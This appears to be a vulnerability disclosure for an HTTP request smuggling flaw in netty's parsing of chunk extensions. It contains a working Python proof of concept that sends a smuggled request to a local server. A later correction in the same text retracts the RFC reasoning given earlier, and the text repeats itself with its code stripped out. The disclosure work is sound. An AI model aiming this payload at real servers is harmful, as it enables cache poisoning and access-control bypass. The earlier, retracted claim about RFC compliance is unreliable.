Summary
netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
Background
This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques:
The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.
Technical Details
RFC 9110 Section 7.1.1 defines chunked transfer encoding:
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string
RFC 9110 Section 5.6.4 defines quoted-string:
quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE
A quoted-string continues until the closing DQUOTE, even if it contains \r\n sequences.
Vulnerability
netty terminates chunk header parsing at \r\n inside quoted strings instead of continuing to the closing quote.
Expected (RFC compliant):
Chunk: 1;a="value\r\nhere"\r\n
^^^^^^^^^^^^^^^^^^ extension value
Body: [1 byte after the real \r\n]
Actual (netty):
Chunk: 1;a="value
^^^^^ terminates here (WRONG)
Body: here"... treated as body/next request
Proof of Concept
#!/usr/bin/env python3
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b'1;a="\r\n'
b"X\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Content-Length: 11\r\n"
b"\r\n"
b'"\r\n'
b"Y\r\n"
b"0\r\n"
b"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
Result: Server returns 2 HTTP responses from a single TCP connection.
Parsing Breakdown
| Parser |
Request 1 |
Request 2 |
| netty (vulnerable) |
POST / body="X" |
GET /smuggled (SMUGGLED!) |
| RFC compliant |
POST / body="Y" |
(none - smuggled request hidden in extension) |
Impact
- Request Smuggling: Attacker injects arbitrary HTTP requests
- Cache Poisoning: Smuggled responses poison shared caches
- Access Control Bypass: Smuggled requests bypass frontend security
- Session Hijacking: Smuggled requests can steal other users' responses
Reproduction
- Start the minimal POC with docker
- Run the poc script provided in same zip
Suggested Fix
When parsing chunk extensions, continue through quoted-string values until the closing DQUOTE before looking for the terminating \r\n:
1. Read chunk-size
2. If ';' found, parse extensions:
a. If extension value starts with DQUOTE:
- Continue reading until closing DQUOTE
- Handle escaped characters per RFC 9110 Section 5.6.4
b. Else read token value
3. Only terminate at \r\n OUTSIDE quoted strings
References

[java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)
I initially claimed that \r\n inside quoted-strings should be parsed through until the closing quote. That's wrong.
Looking at RFC 9110 Section 5.6.4 more carefully:
qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "" ( HTAB / SP / VCHAR / obs-text )
CR and LF bytes aren't in any of these ranges - they're simply not allowed inside chunk-ext at all, quoted or not. A strict parser should reject the request with 400 if it sees CR/LF before the actual line terminator (Squid does this, for example)
The bug is still real - the parsing differential exists and smuggling works. But the root cause is better described as: doesn't validate that CR/LF are forbidden inside chunk extensions before the terminating CRLF.
The fix should reject these requests rather than try to parse through quoted strings.
Credit to Ben Kallus for pointing this out during discussion on the HAProxy mailing list.
Summary
netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
Background
This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques:
The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.
Technical Details
RFC 9110 Section 7.1.1 defines chunked transfer encoding:
RFC 9110 Section 5.6.4 defines quoted-string:
A quoted-string continues until the closing DQUOTE, even if it contains
\r\nsequences.Vulnerability
netty terminates chunk header parsing at
\r\ninside quoted strings instead of continuing to the closing quote.Expected (RFC compliant):
Actual (netty):
Proof of Concept
Result: Server returns 2 HTTP responses from a single TCP connection.
Parsing Breakdown
Impact
Reproduction
Suggested Fix
When parsing chunk extensions, continue through quoted-string values until the closing DQUOTE before looking for the terminating
\r\n:References
I initially claimed that \r\n inside quoted-strings should be parsed through until the closing quote. That's wrong.
Looking at RFC 9110 Section 5.6.4 more carefully:
qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "" ( HTAB / SP / VCHAR / obs-text )
CR and LF bytes aren't in any of these ranges - they're simply not allowed inside chunk-ext at all, quoted or not. A strict parser should reject the request with 400 if it sees CR/LF before the actual line terminator (Squid does this, for example)
The bug is still real - the parsing differential exists and smuggling works. But the root cause is better described as: doesn't validate that CR/LF are forbidden inside chunk extensions before the terminating CRLF.
The fix should reject these requests rather than try to parse through quoted strings.
Credit to Ben Kallus for pointing this out during discussion on the HAProxy mailing list.